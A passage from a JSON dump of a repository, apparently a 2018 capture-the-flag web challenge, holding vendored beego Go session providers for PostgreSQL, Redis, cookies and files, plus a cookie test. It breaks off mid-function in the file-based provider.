    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/postgres/sess_postgresql.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package postgres for session provider\n//\n// depends on github.com/lib/pq:\n//\n// go install github.com/lib/pq\n//\n//\n// needs this table in your database:\n//\n// CREATE TABLE session (\n// session_key\tchar(64) NOT NULL,\n// session_data\tbytea,\n// session_expiry\ttimestamp NOT NULL,\n// CONSTRAINT session_key PRIMARY KEY(session_key)\n// );\n//\n// will be activated with these settings in app.conf:\n//\n// SessionOn = true\n// SessionProvider = postgresql\n// SessionSavePath = \"user=a password=b dbname=c sslmode=disable\"\n// SessionName = session\n//\n//\n// Usage:\n// import(\n//   _ \"github.com/astaxie/beego/session/postgresql\"\n//   \"github.com/astaxie/beego/session\"\n// )\n//\n//\tfunc init() {\n//\t\tglobalSessions, _ = session.NewManager(\"postgresql\", ``{\"cookieName\":\"gosessionid\",\"gclifetime\":3600,\"ProviderConfig\":\"user=pqgotest dbname=pqgotest sslmode=verify-full\"}``)\n//\t\tgo globalSessions.GC()\n//\t}\n//\n// more docs: http://beego.me/docs/module/session.md\npackage postgres\n\nimport (\n\t\"database/sql\"\n\t\"net/http\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/session\"\n\t// import postgresql Driver\n\t_ \"github.com/lib/pq\"\n)\n\nvar postgresqlpder = &Provider{}\n\n// SessionStore postgresql session store\ntype SessionStore struct {\n\tc      *sql.DB\n\tsid    string\n\tlock   sync.RWMutex\n\tvalues map[interface{}]interface{}\n}\n\n// Set value in postgresql session.\n// it is temp value in map.\nfunc (st *SessionStore) Set(key, value interface{}) error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tst.values[key] = value\n\treturn nil\n}\n\n// Get value from postgresql session\nfunc (st *SessionStore) Get(key interface{}) interface{} {\n\tst.lock.RLock()\n\tdefer st.lock.RUnlock()\n\tif v, ok := st.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Delete value in postgresql session\nfunc (st *SessionStore) Delete(key interface{}) error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tdelete(st.values, key)\n\treturn nil\n}\n\n// Flush clear all values in postgresql session\nfunc (st *SessionStore) Flush() error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tst.values = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID get session id of this postgresql session store\nfunc (st *SessionStore) SessionID() string {\n\treturn st.sid\n}\n\n// SessionRelease save postgresql session values to database.\n// must call this method to save values to database.\nfunc (st *SessionStore) SessionRelease(w http.ResponseWriter) {\n\tdefer st.c.Close()\n\tb, err := session.EncodeGob(st.values)\n\tif err != nil {\n\t\treturn\n\t}\n\tst.c.Exec(\"UPDATE session set session_data=$1, session_expiry=$2 where session_key=$3\",\n\t\tb, time.Now().Format(time.RFC3339), st.sid)\n\n}\n\n// Provider postgresql session provider\ntype Provider struct {\n\tmaxlifetime int64\n\tsavePath    string\n}\n\n// connect to postgresql\nfunc (mp *Provider) connectInit() *sql.DB {\n\tdb, e := sql.Open(\"postgres\", mp.savePath)\n\tif e != nil {\n\t\treturn nil\n\t}\n\treturn db\n}\n\n// SessionInit init postgresql session.\n// savepath is the connection string of postgresql.\nfunc (mp *Provider) SessionInit(maxlifetime int64, savePath string) error {\n\tmp.maxlifetime = maxlifetime\n\tmp.savePath = savePath\n\treturn nil\n}\n\n// SessionRead get postgresql session by sid\nfunc (mp *Provider) SessionRead(sid string) (session.Store, error) {\n\tc := mp.connectInit()\n\trow := c.QueryRow(\"select session_data from session where session_key=$1\", sid)\n\tvar sessiondata []byte\n\terr := row.Scan(&sessiondata)\n\tif err == sql.ErrNoRows {\n\t\t_, err = c.Exec(\"insert into session(session_key,session_data,session_expiry) values($1,$2,$3)\",\n\t\t\tsid, \"\", time.Now().Format(time.RFC3339))\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else if err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar kv map[interface{}]interface{}\n\tif len(sessiondata) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = session.DecodeGob(sessiondata)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\trs := &SessionStore{c: c, sid: sid, values: kv}\n\treturn rs, nil\n}\n\n// SessionExist check postgresql session exist\nfunc (mp *Provider) SessionExist(sid string) bool {\n\tc := mp.connectInit()\n\tdefer c.Close()\n\trow := c.QueryRow(\"select session_data from session where session_key=$1\", sid)\n\tvar sessiondata []byte\n\terr := row.Scan(&sessiondata)\n\treturn !(err == sql.ErrNoRows)\n}\n\n// SessionRegenerate generate new sid for postgresql session\nfunc (mp *Provider) SessionRegenerate(oldsid, sid string) (session.Store, error) {\n\tc := mp.connectInit()\n\trow := c.QueryRow(\"select session_data from session where session_key=$1\", oldsid)\n\tvar sessiondata []byte\n\terr := row.Scan(&sessiondata)\n\tif err == sql.ErrNoRows {\n\t\tc.Exec(\"insert into session(session_key,session_data,session_expiry) values($1,$2,$3)\",\n\t\t\toldsid, \"\", time.Now().Format(time.RFC3339))\n\t}\n\tc.Exec(\"update session set session_key=$1 where session_key=$2\", sid, oldsid)\n\tvar kv map[interface{}]interface{}\n\tif len(sessiondata) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = session.DecodeGob(sessiondata)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\trs := &SessionStore{c: c, sid: sid, values: kv}\n\treturn rs, nil\n}\n\n// SessionDestroy delete postgresql session by sid\nfunc (mp *Provider) SessionDestroy(sid string) error {\n\tc := mp.connectInit()\n\tc.Exec(\"DELETE FROM session where session_key=$1\", sid)\n\tc.Close()\n\treturn nil\n}\n\n// SessionGC delete expired values in postgresql session\nfunc (mp *Provider) SessionGC() {\n\tc := mp.connectInit()\n\tc.Exec(\"DELETE from session where EXTRACT(EPOCH FROM (current_timestamp - session_expiry)) > $1\", mp.maxlifetime)\n\tc.Close()\n}\n\n// SessionAll count values in postgresql session\nfunc (mp *Provider) SessionAll() int {\n\tc := mp.connectInit()\n\tdefer c.Close()\n\tvar total int\n\terr := c.QueryRow(\"SELECT count(*) as num from session\").Scan(&total)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn total\n}\n\nfunc init() {\n\tsession.Register(\"postgresql\", postgresqlpder)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/redis/sess_redis.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package redis for session provider\n//\n// depend on github.com/garyburd/redigo/redis\n//\n// go install github.com/garyburd/redigo/redis\n//\n// Usage:\n// import(\n//   _ \"github.com/astaxie/beego/session/redis\"\n//   \"github.com/astaxie/beego/session\"\n// )\n//\n//\tfunc init() {\n//\t\tglobalSessions, _ = session.NewManager(\"redis\", ``{\"cookieName\":\"gosessionid\",\"gclifetime\":3600,\"ProviderConfig\":\"127.0.0.1:7070\"}``)\n//\t\tgo globalSessions.GC()\n//\t}\n//\n// more docs: http://beego.me/docs/module/session.md\npackage redis\n\nimport (\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/astaxie/beego/session\"\n\n\t\"github.com/garyburd/redigo/redis\"\n)\n\nvar redispder = &Provider{}\n\n// MaxPoolSize redis max pool size\nvar MaxPoolSize = 100\n\n// SessionStore redis session store\ntype SessionStore struct {\n\tp           *redis.Pool\n\tsid         string\n\tlock        sync.RWMutex\n\tvalues      map[interface{}]interface{}\n\tmaxlifetime int64\n}\n\n// Set value in redis session\nfunc (rs *SessionStore) Set(key, value interface{}) error {\n\trs.lock.Lock()\n\tdefer rs.lock.Unlock()\n\trs.values[key] = value\n\treturn nil\n}\n\n// Get value in redis session\nfunc (rs *SessionStore) Get(key interface{}) interface{} {\n\trs.lock.RLock()\n\tdefer rs.lock.RUnlock()\n\tif v, ok := rs.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Delete value in redis session\nfunc (rs *SessionStore) Delete(key interface{}) error {\n\trs.lock.Lock()\n\tdefer rs.lock.Unlock()\n\tdelete(rs.values, key)\n\treturn nil\n}\n\n// Flush clear all values in redis session\nfunc (rs *SessionStore) Flush() error {\n\trs.lock.Lock()\n\tdefer rs.lock.Unlock()\n\trs.values = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID get redis session id\nfunc (rs *SessionStore) SessionID() string {\n\treturn rs.sid\n}\n\n// SessionRelease save session values to redis\nfunc (rs *SessionStore) SessionRelease(w http.ResponseWriter) {\n\tb, err := session.EncodeGob(rs.values)\n\tif err != nil {\n\t\treturn\n\t}\n\tc := rs.p.Get()\n\tdefer c.Close()\n\tc.Do(\"SETEX\", rs.sid, rs.maxlifetime, string(b))\n}\n\n// Provider redis session provider\ntype Provider struct {\n\tmaxlifetime int64\n\tsavePath    string\n\tpoolsize    int\n\tpassword    string\n\tdbNum       int\n\tpoollist    *redis.Pool\n}\n\n// SessionInit init redis session\n// savepath like redis server addr,pool size,password,dbnum\n// e.g. 127.0.0.1:6379,100,astaxie,0\nfunc (rp *Provider) SessionInit(maxlifetime int64, savePath string) error {\n\trp.maxlifetime = maxlifetime\n\tconfigs := strings.Split(savePath, \",\")\n\tif len(configs) > 0 {\n\t\trp.savePath = configs[0]\n\t}\n\tif len(configs) > 1 {\n\t\tpoolsize, err := strconv.Atoi(configs[1])\n\t\tif err != nil || poolsize < 0 {\n\t\t\trp.poolsize = MaxPoolSize\n\t\t} else {\n\t\t\trp.poolsize = poolsize\n\t\t}\n\t} else {\n\t\trp.poolsize = MaxPoolSize\n\t}\n\tif len(configs) > 2 {\n\t\trp.password = configs[2]\n\t}\n\tif len(configs) > 3 {\n\t\tdbnum, err := strconv.Atoi(configs[3])\n\t\tif err != nil || dbnum < 0 {\n\t\t\trp.dbNum = 0\n\t\t} else {\n\t\t\trp.dbNum = dbnum\n\t\t}\n\t} else {\n\t\trp.dbNum = 0\n\t}\n\trp.poollist = redis.NewPool(func() (redis.Conn, error) {\n\t\tc, err := redis.Dial(\"tcp\", rp.savePath)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif rp.password != \"\" {\n\t\t\tif _, err = c.Do(\"AUTH\", rp.password); err != nil {\n\t\t\t\tc.Close()\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\t//some redis proxy such as twemproxy is not support select command\n\t\tif rp.dbNum > 0 {\n\t\t\t_, err = c.Do(\"SELECT\", rp.dbNum)\n\t\t\tif err != nil {\n\t\t\t\tc.Close()\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\treturn c, err\n\t}, rp.poolsize)\n\n\treturn rp.poollist.Get().Err()\n}\n\n// SessionRead read redis session by sid\nfunc (rp *Provider) SessionRead(sid string) (session.Store, error) {\n\tc := rp.poollist.Get()\n\tdefer c.Close()\n\n\tvar kv map[interface{}]interface{}\n\n\tkvs, err := redis.String(c.Do(\"GET\", sid))\n\tif err != nil && err != redis.ErrNil {\n\t\treturn nil, err\n\t}\n\tif len(kvs) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tif kv, err = session.DecodeGob([]byte(kvs)); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\trs := &SessionStore{p: rp.poollist, sid: sid, values: kv, maxlifetime: rp.maxlifetime}\n\treturn rs, nil\n}\n\n// SessionExist check redis session exist by sid\nfunc (rp *Provider) SessionExist(sid string) bool {\n\tc := rp.poollist.Get()\n\tdefer c.Close()\n\n\tif existed, err := redis.Int(c.Do(\"EXISTS\", sid)); err != nil || existed == 0 {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// SessionRegenerate generate new sid for redis session\nfunc (rp *Provider) SessionRegenerate(oldsid, sid string) (session.Store, error) {\n\tc := rp.poollist.Get()\n\tdefer c.Close()\n\n\tif existed, _ := redis.Int(c.Do(\"EXISTS\", oldsid)); existed == 0 {\n\t\t// oldsid doesn't exists, set the new sid directly\n\t\t// ignore error here, since if it return error\n\t\t// the existed value will be 0\n\t\tc.Do(\"SET\", sid, \"\", \"EX\", rp.maxlifetime)\n\t} else {\n\t\tc.Do(\"RENAME\", oldsid, sid)\n\t\tc.Do(\"EXPIRE\", sid, rp.maxlifetime)\n\t}\n\treturn rp.SessionRead(sid)\n}\n\n// SessionDestroy delete redis session by id\nfunc (rp *Provider) SessionDestroy(sid string) error {\n\tc := rp.poollist.Get()\n\tdefer c.Close()\n\n\tc.Do(\"DEL\", sid)\n\treturn nil\n}\n\n// SessionGC Impelment method, no used.\nfunc (rp *Provider) SessionGC() {\n}\n\n// SessionAll return all activeSession\nfunc (rp *Provider) SessionAll() int {\n\treturn 0\n}\n\nfunc init() {\n\tsession.Register(\"redis\", redispder)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/sess_cookie.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage session\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"sync\"\n)\n\nvar cookiepder = &CookieProvider{}\n\n// CookieSessionStore Cookie SessionStore\ntype CookieSessionStore struct {\n\tsid    string\n\tvalues map[interface{}]interface{} // session data\n\tlock   sync.RWMutex\n}\n\n// Set value to cookie session.\n// the value are encoded as gob with hash block string.\nfunc (st *CookieSessionStore) Set(key, value interface{}) error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tst.values[key] = value\n\treturn nil\n}\n\n// Get value from cookie session\nfunc (st *CookieSessionStore) Get(key interface{}) interface{} {\n\tst.lock.RLock()\n\tdefer st.lock.RUnlock()\n\tif v, ok := st.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Delete value in cookie session\nfunc (st *CookieSessionStore) Delete(key interface{}) error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tdelete(st.values, key)\n\treturn nil\n}\n\n// Flush Clean all values in cookie session\nfunc (st *CookieSessionStore) Flush() error {\n\tst.lock.Lock()\n\tdefer st.lock.Unlock()\n\tst.values = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID Return id of this cookie session\nfunc (st *CookieSessionStore) SessionID() string {\n\treturn st.sid\n}\n\n// SessionRelease Write cookie session to http response cookie\nfunc (st *CookieSessionStore) SessionRelease(w http.ResponseWriter) {\n\tencodedCookie, err := encodeCookie(cookiepder.block, cookiepder.config.SecurityKey, cookiepder.config.SecurityName, st.values)\n\tif err == nil {\n\t\tcookie := &http.Cookie{Name: cookiepder.config.CookieName,\n\t\t\tValue:    url.QueryEscape(encodedCookie),\n\t\t\tPath:     \"/\",\n\t\t\tHttpOnly: true,\n\t\t\tSecure:   cookiepder.config.Secure,\n\t\t\tMaxAge:   cookiepder.config.Maxage}\n\t\thttp.SetCookie(w, cookie)\n\t}\n}\n\ntype cookieConfig struct {\n\tSecurityKey  string `json:\"securityKey\"`\n\tBlockKey     string `json:\"blockKey\"`\n\tSecurityName string `json:\"securityName\"`\n\tCookieName   string `json:\"cookieName\"`\n\tSecure       bool   `json:\"secure\"`\n\tMaxage       int    `json:\"maxage\"`\n}\n\n// CookieProvider Cookie session provider\ntype CookieProvider struct {\n\tmaxlifetime int64\n\tconfig      *cookieConfig\n\tblock       cipher.Block\n}\n\n// SessionInit Init cookie session provider with max lifetime and config json.\n// maxlifetime is ignored.\n// json config:\n// \tsecurityKey - hash string\n// \tblockKey - gob encode hash string. it's saved as aes crypto.\n// \tsecurityName - recognized name in encoded cookie string\n// \tcookieName - cookie name\n// \tmaxage - cookie max life time.\nfunc (pder *CookieProvider) SessionInit(maxlifetime int64, config string) error {\n\tpder.config = &cookieConfig{}\n\terr := json.Unmarshal([]byte(config), pder.config)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif pder.config.BlockKey == \"\" {\n\t\tpder.config.BlockKey = string(generateRandomKey(16))\n\t}\n\tif pder.config.SecurityName == \"\" {\n\t\tpder.config.SecurityName = string(generateRandomKey(20))\n\t}\n\tpder.block, err = aes.NewCipher([]byte(pder.config.BlockKey))\n\tif err != nil {\n\t\treturn err\n\t}\n\tpder.maxlifetime = maxlifetime\n\treturn nil\n}\n\n// SessionRead Get SessionStore in cooke.\n// decode cooke string to map and put into SessionStore with sid.\nfunc (pder *CookieProvider) SessionRead(sid string) (Store, error) {\n\tmaps, _ := decodeCookie(pder.block,\n\t\tpder.config.SecurityKey,\n\t\tpder.config.SecurityName,\n\t\tsid, pder.maxlifetime)\n\tif maps == nil {\n\t\tmaps = make(map[interface{}]interface{})\n\t}\n\trs := &CookieSessionStore{sid: sid, values: maps}\n\treturn rs, nil\n}\n\n// SessionExist Cookie session is always existed\nfunc (pder *CookieProvider) SessionExist(sid string) bool {\n\treturn true\n}\n\n// SessionRegenerate Implement method, no used.\nfunc (pder *CookieProvider) SessionRegenerate(oldsid, sid string) (Store, error) {\n\treturn nil, nil\n}\n\n// SessionDestroy Implement method, no used.\nfunc (pder *CookieProvider) SessionDestroy(sid string) error {\n\treturn nil\n}\n\n// SessionGC Implement method, no used.\nfunc (pder *CookieProvider) SessionGC() {\n}\n\n// SessionAll Implement method, return 0.\nfunc (pder *CookieProvider) SessionAll() int {\n\treturn 0\n}\n\n// SessionUpdate Implement method, no used.\nfunc (pder *CookieProvider) SessionUpdate(sid string) error {\n\treturn nil\n}\n\nfunc init() {\n\tRegister(\"cookie\", cookiepder)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/sess_cookie_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage session\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestCookie(t *testing.T) {\n\tconfig := `{\"cookieName\":\"gosessionid\",\"enableSetCookie\":false,\"gclifetime\":3600,\"ProviderConfig\":\"{\\\"cookieName\\\":\\\"gosessionid\\\",\\\"securityKey\\\":\\\"beegocookiehashkey\\\"}\"}`\n\tconf := new(ManagerConfig)\n\tif err := json.Unmarshal([]byte(config), conf); err != nil {\n\t\tt.Fatal(\"json decode error\", err)\n\t}\n\tglobalSessions, err := NewManager(\"cookie\", conf)\n\tif err != nil {\n\t\tt.Fatal(\"init cookie session err\", err)\n\t}\n\tr, _ := http.NewRequest(\"GET\", \"/\", nil)\n\tw := httptest.NewRecorder()\n\tsess, err := globalSessions.SessionStart(w, r)\n\tif err != nil {\n\t\tt.Fatal(\"set error,\", err)\n\t}\n\terr = sess.Set(\"username\", \"astaxie\")\n\tif err != nil {\n\t\tt.Fatal(\"set error,\", err)\n\t}\n\tif username := sess.Get(\"username\"); username != \"astaxie\" {\n\t\tt.Fatal(\"get username error\")\n\t}\n\tsess.SessionRelease(w)\n\tif cookiestr := w.Header().Get(\"Set-Cookie\"); cookiestr == \"\" {\n\t\tt.Fatal(\"setcookie error\")\n\t} else {\n\t\tparts := strings.Split(strings.TrimSpace(cookiestr), \";\")\n\t\tfor k, v := range parts {\n\t\t\tnameval := strings.Split(v, \"=\")\n\t\t\tif k == 0 && nameval[0] != \"gosessionid\" {\n\t\t\t\tt.Fatal(\"error\")\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestDestorySessionCookie(t *testing.T) {\n\tconfig := `{\"cookieName\":\"gosessionid\",\"enableSetCookie\":true,\"gclifetime\":3600,\"ProviderConfig\":\"{\\\"cookieName\\\":\\\"gosessionid\\\",\\\"securityKey\\\":\\\"beegocookiehashkey\\\"}\"}`\n\tconf := new(ManagerConfig)\n\tif err := json.Unmarshal([]byte(config), conf); err != nil {\n\t\tt.Fatal(\"json decode error\", err)\n\t}\n\tglobalSessions, err := NewManager(\"cookie\", conf)\n\tif err != nil {\n\t\tt.Fatal(\"init cookie session err\", err)\n\t}\n\n\tr, _ := http.NewRequest(\"GET\", \"/\", nil)\n\tw := httptest.NewRecorder()\n\tsession, err := globalSessions.SessionStart(w, r)\n\tif err != nil {\n\t\tt.Fatal(\"session start err,\", err)\n\t}\n\n\t// request again ,will get same sesssion id .\n\tr1, _ := http.NewRequest(\"GET\", \"/\", nil)\n\tr1.Header.Set(\"Cookie\", w.Header().Get(\"Set-Cookie\"))\n\tw = httptest.NewRecorder()\n\tnewSession, err := globalSessions.SessionStart(w, r1)\n\tif err != nil {\n\t\tt.Fatal(\"session start err,\", err)\n\t}\n\tif newSession.SessionID() != session.SessionID() {\n\t\tt.Fatal(\"get cookie session id is not the same again.\")\n\t}\n\n\t// After destroy session , will get a new session id .\n\tglobalSessions.SessionDestroy(w, r1)\n\tr2, _ := http.NewRequest(\"GET\", \"/\", nil)\n\tr2.Header.Set(\"Cookie\", w.Header().Get(\"Set-Cookie\"))\n\n\tw = httptest.NewRecorder()\n\tnewSession, err = globalSessions.SessionStart(w, r2)\n\tif err != nil {\n\t\tt.Fatal(\"session start error\")\n\t}\n\tif newSession.SessionID() == session.SessionID() {\n\t\tt.Fatal(\"after destroy session and reqeust again ,get cookie session id is same.\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/sess_file.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage session\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"time\"\n)\n\nvar (\n\tfilepder      = &FileProvider{}\n\tgcmaxlifetime int64\n)\n\n// FileSessionStore File session store\ntype FileSessionStore struct {\n\tsid    string\n\tlock   sync.RWMutex\n\tvalues map[interface{}]interface{}\n}\n\n// Set value to file session\nfunc (fs *FileSessionStore) Set(key, value interface{}) error {\n\tfs.lock.Lock()\n\tdefer fs.lock.Unlock()\n\tfs.values[key] = value\n\treturn nil\n}\n\n// Get value from file session\nfunc (fs *FileSessionStore) Get(key interface{}) interface{} {\n\tfs.lock.RLock()\n\tdefer fs.lock.RUnlock()\n\tif v, ok := fs.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// Delete value in file session by given key\nfunc (fs *FileSessionStore) Delete(key interface{}) error {\n\tfs.lock.Lock()\n\tdefer fs.lock.Unlock()\n\tdelete(fs.values, key)\n\treturn nil\n}\n\n// Flush Clean all values in file session\nfunc (fs *FileSessionStore) Flush() error {\n\tfs.lock.Lock()\n\tdefer fs.lock.Unlock()\n\tfs.values = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID Get file session store id\nfunc (fs *FileSessionStore) SessionID() string {\n\treturn fs.sid\n}\n\n// SessionRelease Write file session to local file with Gob string\nfunc (fs *FileSessionStore) SessionRelease(w http.ResponseWriter) {\n\tfilepder.lock.Lock()\n\tdefer filepder.lock.Unlock()\n\tb, err := EncodeGob(fs.values)\n\tif err != nil {\n\t\tSLogger.Println(err)\n\t\treturn\n\t}\n\t_, err = os.Stat(path.Join(filepder.savePath, string(fs.sid[0]), string(fs.sid[1]), fs.sid))\n\tvar f *os.File\n\tif err == nil {\n\t\tf, err = os.OpenFile(path.Join(filepder.savePath, string(fs.sid[0]), string(fs.sid[1]), fs.sid), os.O_RDWR, 0777)\n\t\tif err != nil {\n\t\t\tSLogger.Println(err)\n\t\t\treturn\n\t\t}\n\t} else if os.IsNotExist(err) {\n\t\tf, err = os.Create(path.Join(filepder.savePath, string(fs.sid[0]), string(fs.sid[1]), fs.sid))\n\t\tif err != nil {\n\t\t\tSLogger.Println(err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\treturn\n\t}\n\tf.Truncate(0)\n\tf.Seek(0, 0)\n\tf.Write(b)\n\tf.Close()\n}\n\n// FileProvider File session provider\ntype FileProvider struct {\n\tlock        sync.RWMutex\n\tmaxlifetime int64\n\tsavePath    string\n}\n\n// SessionInit Init file session provider.\n// savePath sets the session files path.\nfunc (fp *FileProvider) SessionInit(maxlifetime int64, savePath string) error {\n\tfp.maxlifetime = maxlifetime\n\tfp.savePath = savePath\n\treturn nil\n}\n\n// SessionRead Read file session by sid.\n// if file is not exist, create it.\n// the file path is generated from sid string.\nfunc (fp *FileProvider) SessionRead(sid string) (Store, error) {\n\tfilepder.lock.Lock()\n\tdefer filepder.lock.Unlock()\n\n\terr := os.MkdirAll(path.Join(fp.savePath, string(sid[0]), string(sid[1])), 0777)\n\tif err != nil {\n\t\tSLogger.Println(err.Error())\n\t}\n\t_, err = os.Stat(path.Join(fp.savePath, string(sid[0]), string(sid[1]), sid))\n\tvar f *os.File\n\tif err == nil {\n\t\tf, err = os.OpenFile(path.Join(fp.savePath, string(sid[0]), string(sid[1]), sid), os.O_RDWR, 0777)\n\t} else if os.IsNotExist(err) {\n\t\tf, err = os.Create(path.Join(fp.savePath, string(sid[0]), string(sid[1]), sid))\n\t} else {\n\t\treturn nil, err\n\t}\n\n\tdefer f.Close()\n\n\tos.Chtimes(path.Join(fp.savePath, string(sid[0]), string(sid[1]), sid), time.Now(), time.Now())\n\tvar kv map[interface{}]interface{}\n\tb, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(b) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = DecodeGob(b)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tss := &FileSessionStore{sid: sid, values: kv}\n\treturn ss, nil\n}\n\n// SessionExist Check file session exist.\n// it checks the file named from sid exist or not.\nfunc (fp *FileProvider) SessionExist(sid string) bool {\n\tfilepder.lock.Lock()\n\tdefer filepder.lock.Unlock()\n\n\t_, err := os.Stat(path.Join(fp.savePath, string(sid[0]), string(sid[1]), sid))\n\treturn err == nil\n}\n\n// SessionDestroy Remove all files in this save path\nfunc (fp *FileProvider) SessionDestroy(sid string) error {\n\tfilepder.lock.Lock()\n\tdefer filepder.lock.Unlock()\n\tos.Remove(path.Join(fp.savePath, string(sid[0]), string(sid[1]), sid))\n\treturn nil\n}\n\n// SessionGC Recycle files in save path\nfunc (fp *FileProvider) SessionGC() {\n\tfilepder.lock.Lock()\n\tdefer filepder.lock.Unlock()\n\n\tgcmaxlifetime = fp.maxlifetime\n\tfilepath.Walk(fp.savePath, gcpath)\n}\n\n// SessionAll Get active file session number.\n// it walks save path to count files.\nfunc (fp *FileProvider) SessionAll() int {\n\ta := &activeSession{}\n\terr := filepath.Walk(fp.savePath, func(path string, f os.FileInfo, err error) error {\n\t\treturn a.visit(path, f, err)\n\t})\n\tif err != nil {\n\t\tSLogger.Printf(\"filepath.Walk() returned %v\\n\", err)\n\t\treturn 0\n\t}\n\treturn a.total\n}\n\n// SessionRegenerate Generate new sid for file session.\n// it delete old file and create new file named from new sid.\nfunc (fp *FileProvider) SessionRegenerate(oldsid, sid string) (Store, error) {\n\tfilepder.lock.Lock()\n\tdefer filepder.lock.Unlock()\n\n\toldPath := path.Join(fp.savePath, string(oldsid[0]), string(oldsid[1]))\n\toldSidFile := path.Join(oldPath, oldsid)\n\tnewPath := path.Join(fp.savePath, string(sid[0]), string(sid[1]))\n\tnewSidFile := path.Join(newPath, sid)\n\n\t// new sid file is exist\n\t_, err := os.Stat(newSidFile)\n\tif err == nil {\n\t\treturn nil, fmt.Errorf(\"newsid %s exist\", newSidFile)\n\t}\n\n\terr = os.MkdirAll(newPath, 0777)\n\tif err != 